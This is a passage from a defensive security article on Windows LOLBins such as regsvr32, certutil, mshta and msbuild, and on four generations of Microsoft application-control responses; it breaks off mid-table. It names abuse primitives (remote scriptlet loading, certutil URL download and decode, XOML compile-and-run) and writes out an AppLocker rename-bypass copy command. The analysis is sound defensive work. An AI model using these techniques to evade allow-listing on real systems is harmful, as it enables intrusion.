&lt;p&gt;Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: &lt;em&gt;a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments&lt;/em&gt;. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft&apos;s Recommended Block Rules either deny by default or pointedly do not.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Binary&lt;/th&gt;
&lt;th&gt;First disclosed&lt;/th&gt;
&lt;th&gt;Abuse primitive&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK&lt;/th&gt;
&lt;th&gt;On App Control deny list?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;regsvr32.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Casey Smith, 2016-04-19&lt;/td&gt;
&lt;td&gt;Squiblydoo: remote &lt;code&gt;.sct&lt;/code&gt; via &lt;code&gt;/i:URL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1218.010 [@attack-t1218-010]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Multiple disclosures&lt;/td&gt;
&lt;td&gt;Load and invoke any exported DLL function&lt;/td&gt;
&lt;td&gt;T1218.011 [@attack-t1218-011]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-LOLBAS, IE5 era&lt;/td&gt;
&lt;td&gt;Run JScript or VBScript from &lt;code&gt;.hta&lt;/code&gt; file or URL&lt;/td&gt;
&lt;td&gt;T1218.005 [@attack-t1218-005]&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;certutil.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-LOLBAS folklore&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-urlcache&lt;/code&gt; download, &lt;code&gt;-decode&lt;/code&gt; payload decoder&lt;/td&gt;
&lt;td&gt;T1140, T1105&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bitsadmin.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-LOLBAS folklore&lt;/td&gt;
&lt;td&gt;BITS-channel download primitive&lt;/td&gt;
&lt;td&gt;T1197 [@attack-t1197]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msbuild.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Casey Smith, 2016&lt;/td&gt;
&lt;td&gt;Inline-task compile-and-run C#&lt;/td&gt;
&lt;td&gt;T1127.001 [@attack-t1127]&lt;/td&gt;
&lt;td&gt;Yes, with caveat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;installutil.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Casey Smith, 2016&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/U&lt;/code&gt; invokes &lt;code&gt;[RunInstaller(true)]&lt;/code&gt; class&lt;/td&gt;
&lt;td&gt;T1218.004 [@attack-t1218-004]&lt;/td&gt;
&lt;td&gt;Yes (unconditional)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Matt Graeber, 2018-08-17&lt;/td&gt;
&lt;td&gt;XOML-driven C#/VB.NET compile-and-execute&lt;/td&gt;
&lt;td&gt;T1127 [@attack-t1127]&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The table looks orderly. The pattern inside it is not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;regsvr32.exe&lt;/code&gt;&lt;/strong&gt; is the article&apos;s opening case, the most famous LOLBin in history, and -- conspicuously -- &lt;em&gt;not&lt;/em&gt; on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. &lt;code&gt;regsvr32&lt;/code&gt; is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft&apos;s choice is to &lt;em&gt;detect&lt;/em&gt; Squiblydoo via behavioral signals (parent-child anomaly, &lt;code&gt;/i:http&lt;/code&gt; argument) rather than &lt;em&gt;deny&lt;/em&gt; the binary outright.&lt;/p&gt;
&lt;p&gt;The conspicuous absence of &lt;code&gt;regsvr32.exe&lt;/code&gt; from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/strong&gt; is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying &lt;code&gt;rundll32.exe&lt;/code&gt; would render the desktop nearly inoperable. It is, like &lt;code&gt;regsvr32&lt;/code&gt;, on the &lt;em&gt;detect, do not deny&lt;/em&gt; side of the line.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;mshta.exe&lt;/code&gt;&lt;/strong&gt; is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires &lt;code&gt;mshta.exe&lt;/code&gt; to be functional for routine operation [@ms-bypass-rules].&lt;/p&gt;

`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary&apos;s reason for existing was Internet Explorer&apos;s HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.
&lt;p&gt;&lt;strong&gt;&lt;code&gt;certutil.exe&lt;/code&gt;&lt;/strong&gt; is one of the field&apos;s quiet recurring offenders. Two switches drive most of its abuse: &lt;code&gt;-urlcache -split -f&lt;/code&gt; downloads an arbitrary URL to disk, and &lt;code&gt;-decode&lt;/code&gt; decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. &lt;code&gt;certutil&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; on the App Control deny list.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;bitsadmin.exe&lt;/code&gt;&lt;/strong&gt; and its PowerShell sibling &lt;code&gt;Start-BitsTransfer&lt;/code&gt; drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. &lt;code&gt;bitsadmin.exe&lt;/code&gt; is not on the deny list either.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;msbuild.exe&lt;/code&gt;&lt;/strong&gt; is the most interesting case in the table because Microsoft&apos;s response is published verbatim and is &lt;em&gt;context-dependent&lt;/em&gt;. The Recommended Block Rules entry for &lt;code&gt;msbuild.exe&lt;/code&gt; reads:&lt;/p&gt;

If you&apos;re using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe. -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]
&lt;p&gt;That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether &lt;code&gt;msbuild.exe&lt;/code&gt; is a LOLBin; the answer depends on whether the endpoint is a developer workstation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;installutil.exe&lt;/code&gt;&lt;/strong&gt; is the .NET Framework installer-class entry-point runner. Casey Smith&apos;s 2016 disclosure showed that &lt;code&gt;installutil.exe /U mybinary.exe&lt;/code&gt; invokes any class decorated with &lt;code&gt;[System.ComponentModel.RunInstaller(true)]&lt;/code&gt;, regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. &lt;code&gt;installutil.exe&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to &lt;code&gt;msbuild.exe&lt;/code&gt;&apos;s development-context caveat. That &lt;code&gt;installutil.exe&lt;/code&gt; is denied by default &lt;em&gt;and&lt;/em&gt; the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;&lt;/strong&gt;, also known as &lt;code&gt;wfc.exe&lt;/code&gt;, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a &lt;code&gt;CompilerInput&lt;/code&gt; XML element with the attacker&apos;s C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;dnx.exe&lt;/code&gt;, and &lt;code&gt;rcsi.exe&lt;/code&gt;. Matt Graeber&apos;s August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It &lt;em&gt;is&lt;/em&gt; on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.&lt;/p&gt;

The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft&apos;s App Control Recommended Block Rules [@ms-bypass-rules].
&lt;p&gt;Notice the pattern across the eight: each binary is either &lt;em&gt;on&lt;/em&gt; the Recommended Block Rules or it &lt;em&gt;isn&apos;t&lt;/em&gt;, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is &lt;em&gt;bounded&lt;/em&gt;: not by Microsoft&apos;s diligence, but by what Windows administration requires. How bounded? That is Section 6.&lt;/p&gt;
&lt;h2&gt;6. The Defensive Patchwork: Four Generations of Response&lt;/h2&gt;
&lt;p&gt;If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named &lt;code&gt;regsvr32.exe&lt;/code&gt;, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft&apos;s response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.&lt;/p&gt;
&lt;h3&gt;Generation 0: Software Restriction Policies (2001-2009)&lt;/h3&gt;
&lt;p&gt;Before AppLocker there was &lt;em&gt;Software Restriction Policies&lt;/em&gt; (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express &lt;em&gt;trust anything signed by Microsoft&lt;/em&gt;. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.&lt;/p&gt;
&lt;h3&gt;Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)&lt;/h3&gt;
&lt;p&gt;AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously &lt;em&gt;necessary for deployment&lt;/em&gt; and &lt;em&gt;insufficient for security&lt;/em&gt;. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, and friends -- ran into a concrete worked counterexample:&lt;/p&gt;
&lt;p&gt;The AppLocker rename bypass is as simple as &lt;code&gt;copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe&lt;/code&gt;. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC&apos;s move to kernel-mode signature evaluation and hash-revocation rules.&lt;/p&gt;
&lt;p&gt;A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker&apos;s policy language could express either constraint but not both at once. Neither held up against a determined attacker.&lt;/p&gt;
&lt;h3&gt;Generation 2: App Control for Business with Recommended Block Rules (2017-present)&lt;/h3&gt;
&lt;p&gt;Generation 2 is what most enterprises deploy today. &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Windows Defender Application Control (WDAC)&lt;/a&gt; shipped with Windows 10 1709 in October 2017, evolved out of Device Guard&apos;s Code Integrity Policies, and was rebranded &lt;em&gt;App Control for Business&lt;/em&gt; in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file&apos;s signature and hash independently of its path.&lt;/p&gt;

The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel&apos;s Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments.

A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.
&lt;p&gt;Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: &lt;em&gt;as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules&lt;/em&gt; [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did &lt;em&gt;not&lt;/em&gt; close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.&lt;/p&gt;
&lt;h3&gt;Generation 3: Smart App Control (2022-present)&lt;/h3&gt;
&lt;p&gt;Smart App Control (SAC) is Microsoft&apos;s &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;reputation-and-AI gate&lt;/a&gt; for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an &lt;em&gt;evaluation&lt;/em&gt; mode that silently observes the user&apos;s behavior and either transitions to &lt;em&gt;enforce&lt;/em&gt; mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].&lt;/p&gt;

A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.
&lt;p&gt;The Aha moment for SAC arrives when a defender reads the Microsoft Learn SAC overview carefully:&lt;/p&gt;

Note that some older Microsoft binaries are considered unsafe because attackers can potentially use them to gain unauthorized access. For a complete list of these files, please see Application Control for Windows. -- Microsoft Learn, Smart App Control overview [@ms-sac-overview]
&lt;p&gt;That sentence resolves the most common misconception about SAC. Smart App Control does not introduce a new LOLBin-handling mechanism. It &lt;em&gt;defers&lt;/em&gt; LOLBin handling to the App Control Recommended Block Rules deny list. SAC inherits the same 167-binary coverage gap Generation 2 has. The reputation-and-AI gate is a useful addition for unknown third-party software; for Microsoft-signed LOLBins it is the deny list with a different user interface.&lt;/p&gt;
&lt;p&gt;Generation 3&apos;s other documented failure mode is &lt;em&gt;silent disable&lt;/em&gt;. A device that was protected becomes unprotected with no admin signal. In August 2024, Elastic Security Labs published the &lt;em&gt;Dismantling Smart App Control&lt;/em&gt; analysis [@elastic-sac], which enumerated five distinct bypass classes: signed malware via EV certificates (SolarMarker burned through more than 100 unique certs), reputation hijacking via FFI-capable script hosts (Lua, Node.js, AutoHotkey), reputation seeding within roughly two hours, reputation tampering, and the LNK-stomping smuggling technique tracked as CVE-2024-38217 [@bleeping-lnk]. The LNK-stomping samples in VirusTotal date back six years.&lt;/p&gt;
&lt;h3&gt;Generation 4: Windows Resiliency Initiative (November 2024)&lt;/h3&gt;
&lt;p&gt;On November 19, 2024, at Microsoft Ignite, the company announced the &lt;em&gt;Windows Resiliency Initiative&lt;/em&gt; (WRI). It is an umbrella program, not a new enforcement mechanism, with four focus areas. The third is &lt;em&gt;stronger controls for what apps and drivers are allowed to run&lt;/em&gt; [@ms-wri-nov2024]. The June 2025 follow-up post adds the &lt;em&gt;Microsoft Virus Initiative 3.0&lt;/em&gt; (MVI 3.0) and the user-mode security agents work that moves third-party EDR drivers out of the kernel [@ms-wri-jun2025]. As of May 2026, WRI has not shipped a qualitatively new LOLBin-class enforcement primitive. It is a re-framing of the controls that already existed.&lt;/p&gt;

flowchart LR
    G0[&quot;Gen 0: SRP&lt;br /&gt;2001-2009&quot;] --&quot;closes &apos;no scalable publisher rule&apos;&quot;--&amp;gt; G1[&quot;Gen 1: AppLocker&lt;br /&gt;default publisher rule&lt;br /&gt;2009-2017&quot;]
    G1 --&quot;closes &apos;per-admin deny rules don&apos;t scale, rename bypass&apos;&quot;--&amp;gt; G2[&quot;Gen 2: App Control + Recommended Block Rules&lt;br /&gt;2017-present&quot;]
    G2 --&quot;closes &apos;no default-on for unmanaged endpoints&apos;&quot;--&amp;gt; G3[&quot;Gen 3: Smart App Control&lt;br /&gt;2022-present&quot;]
    G3 --&quot;institutional re-framing&quot;--&amp;gt; G4[&quot;Gen 4: Windows Resiliency Initiative&lt;br /&gt;2024-present&quot;]
    G4 -. unresolved .-&amp;gt; Class[&quot;The LOLBin class itself&quot;]
    style Class stroke:#c33,stroke-width:2px
    style G4 stroke:#888,stroke-dasharray: 5 5
&lt;p&gt;The summary table for the generational story:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;th&gt;Years&lt;/th&gt;
&lt;th&gt;Closed&lt;/th&gt;
&lt;th&gt;Did not close&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;0: SRP&lt;/td&gt;
&lt;td&gt;2001-2009&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Undeployable at enterprise scale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1: AppLocker&lt;/td&gt;
&lt;td&gt;2009-2017&lt;/td&gt;
&lt;td&gt;Allow-list scale problem&lt;/td&gt;
&lt;td&gt;Squiblydoo, rename bypass, Authenticode blindness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2: App Control + Block Rules&lt;/td&gt;
&lt;td&gt;2017-present&lt;/td&gt;
&lt;td&gt;Rename bypass, per-name deny&lt;/td&gt;
&lt;td&gt;167-binary coverage gap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3: Smart App Control&lt;/td&gt;
&lt;td&gt;2022-present&lt;/td&gt;
&lt;td&gt;No default-on for consumers&lt;/td&gt;
&lt;td&gt;Silent disable, defers LOLBins to Gen 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4: WRI&lt;/td&gt;
&lt;td&gt;2024-present&lt;/td&gt;
&lt;td&gt;-- (institutional framing)&lt;/td&gt;
&lt;td&gt;No new LOLBin enforcement primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Each generation adds a layer; no generation removes a class. Four bypass classes have been closed in chronological order, but the 167-binary residual between the LOLBAS catalog and the Recommended Block Rules deny list has not narrowed. The class is what survives the chain.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Four generations, each adding a layer. None removing the class. The next question follows: what does the 2026 state of the art look like, taken as a whole?&lt;/p&gt;
&lt;h2&gt;7. The 2026 State of the Art Is a Stack of Eight&lt;/h2&gt;
&lt;p&gt;A 2026 Windows shop does not pick one of these layers. It stacks all eight. The state of the art for LOLBin defense is the &lt;em&gt;bundle&lt;/em&gt;, not a single technique, and the bundle&apos;s coverage is the union of what each layer sees.&lt;/p&gt;
&lt;p&gt;The eight layers, in roughly the order a defender would deploy them:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;App Control for Business with Recommended Block Rules&lt;/strong&gt; -- the enterprise control plane. Kernel-mode signature evaluation, signed XML policies, and Microsoft&apos;s curated deny list merged into the base policy [@ms-bypass-rules]. This is the only layer that &lt;em&gt;enforces by default-deny&lt;/em&gt; at the loader.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart App Control&lt;/strong&gt; -- the consumer reputation gate. Reputation lookups against a Microsoft cloud service, AI classification as the fallback, evaluation-then-enforce lifecycle [@ms-sac-overview]. Defers LOLBins to the App Control deny list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/&quot; rel=&quot;noopener&quot;&gt;Attack Surface Reduction (ASR) rules&lt;/a&gt;&lt;/strong&gt; -- Defender for Endpoint&apos;s behavioral choke points. Most LOLBin-relevant rules shipped with Windows 10 1709 in October 2017 [@ms-asr-rules-ref]: &lt;em&gt;Block all Office applications from creating child processes&lt;/em&gt;, &lt;em&gt;Block executable content from email client and webmail&lt;/em&gt;, &lt;em&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/em&gt;, &lt;em&gt;Block use of copied or impersonated system tools&lt;/em&gt;. &lt;em&gt;Block process creations originating from PSExec and WMI commands&lt;/em&gt; arrived later in Windows 10 1803.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavioral EDR with Sysmon parent-child detection&lt;/strong&gt; -- the telemetry layer that catches what the enforcement layers miss. SwiftOnSecurity&apos;s &lt;code&gt;sysmon-config&lt;/code&gt; repository [@swiftonsec], the more modular &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt; configuration [@olafhartong], and vendor-curated analytics like Splunk Research&apos;s rule &lt;code&gt;25689101-012a-324a-94d3-08301e6c065a&lt;/code&gt; for renamed-LOLBin detection [@splunk-detection].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;AMSI&lt;/a&gt; with PowerShell Constrained Language Mode&lt;/strong&gt; -- in-process script-content inspection.AMSI is the only Microsoft-shipped mechanism that lets antimalware inspect &lt;em&gt;script bodies after macro expansion and before eval&lt;/em&gt;, which is the moment the script has been decoded but not yet executed [@ms-amsi-portal]. That moment is the single richest detection signal in the script-host attack surface. The answer Microsoft shipped specifically for PowerShell, JScript, VBScript, and the script hosts Microsoft directly controls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The LOLBAS catalog itself&lt;/strong&gt; -- a defensive data structure. Detection engineers parse it to generate rules; SIEM vendors ingest it as detection content; the MITRE ATT&amp;amp;CK pages cite individual entries as primary references [@attack-t1218].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ML-driven LOTL classification&lt;/strong&gt; -- the research frontier. Ryan Stamp&apos;s 2022 NLP-over-command-line approach [@arxiv-stamp] and the 2024 work by Trizna and collaborators reporting a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] [@hf-quasarnix].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/&quot; rel=&quot;noopener&quot;&gt;Microsoft Vulnerable Driver Blocklist&lt;/a&gt; and LOLDrivers&lt;/strong&gt; -- the kernel-driver analogue. Microsoft&apos;s blocklist is enabled by default with HVCI, Smart App Control, or S mode active [@ms-driver-blocklist]; the community-maintained LOLDrivers project at &lt;code&gt;loldrivers.io&lt;/code&gt; is the sibling catalog [@loldrivers].&lt;/li&gt;
&lt;/ol&gt;

The Antimalware Scan Interface, introduced with Windows 10 1507. AMSI lets script hosts (PowerShell, JScript, VBScript, the `.NET` runtime) hand the script content they are about to evaluate to the registered antimalware product for inspection before execution. AMSI closes one of the few in-process content-inspection points Microsoft directly controls; it does not see scripts run through non-AMSI hosts (older COM scriptlets, Lua, Node.js, AutoHotkey FFI).
&lt;p&gt;Each layer addresses a different point in the LOLBin life cycle. App Control and SAC enforce at load time, before the binary runs. ASR enforces at behavior time, blocking specific parent-child or write-then-exec patterns. EDR with Sysmon observes at runtime and reacts after the fact. AMSI inspects script content inside the running process. The catalog enumerates what to look for; ML models generalize beyond it. The driver layer covers a sibling class.&lt;/p&gt;

flowchart TD
    Endpoint[&quot;Windows endpoint&quot;]
    Endpoint --&amp;gt; L1[&quot;1. App Control + Recommended Block Rules (kernel CI, default deny)&quot;]
    Endpoint --&amp;gt; L2[&quot;2. Smart App Control (consumer reputation gate)&quot;]
    Endpoint --&amp;gt; L3[&quot;3. ASR rules (behavioral choke points)&quot;]
    Endpoint --&amp;gt; L4[&quot;4. EDR + Sysmon (telemetry and post-hoc detection)&quot;]
    Endpoint --&amp;gt; L5[&quot;5. AMSI + PowerShell CLM (in-process script content)&quot;]
    Endpoint --&amp;gt; L6[&quot;6. LOLBAS catalog (detection-engineering data structure)&quot;]
    Endpoint --&amp;gt; L7[&quot;7. ML LOTL classification (research frontier)&quot;]
    Endpoint --&amp;gt; L8[&quot;8. Driver blocklist + LOLDrivers (sibling class)&quot;]
&lt;p&gt;The head-to-head comparison matrix shows what each layer brings and where the residual risk lives:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Decision time&lt;/th&gt;
&lt;th&gt;Coverage breadth&lt;/th&gt;
&lt;th&gt;Marginal cost per new LOLBin&lt;/th&gt;
&lt;th&gt;Failure mode if attacker succeeds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;App Control + Block Rules&lt;/td&gt;
&lt;td&gt;Load&lt;/td&gt;
&lt;td&gt;~40 binaries&lt;/td&gt;
&lt;td&gt;Microsoft must add it to the XML; months-to-years lag&lt;/td&gt;
&lt;td&gt;Binary loads and runs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Smart App Control&lt;/td&gt;
&lt;td&gt;Load&lt;/td&gt;
&lt;td&gt;Reputation + AI gate; defers LOLBins to App Control&lt;/td&gt;
&lt;td&gt;None (inherits App Control)&lt;/td&gt;
&lt;td&gt;Reputation hijack succeeds; silent disable possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASR rules&lt;/td&gt;
&lt;td&gt;Behavior&lt;/td&gt;
&lt;td&gt;~8 LOLBin-relevant rules&lt;/td&gt;
&lt;td&gt;Rule author must encode the new pattern&lt;/td&gt;
&lt;td&gt;Pattern slips through; user-facing block toast missing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR + Sysmon&lt;/td&gt;
&lt;td&gt;Runtime&lt;/td&gt;
&lt;td&gt;Whole catalog if rules exist&lt;/td&gt;
&lt;td&gt;Rule per binary, per variant&lt;/td&gt;
&lt;td&gt;Detection fires after execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI + CLM&lt;/td&gt;
&lt;td&gt;In-process&lt;/td&gt;
&lt;td&gt;PowerShell and AMSI-instrumented hosts only&lt;/td&gt;
&lt;td&gt;Free; instrumented automatically&lt;/td&gt;
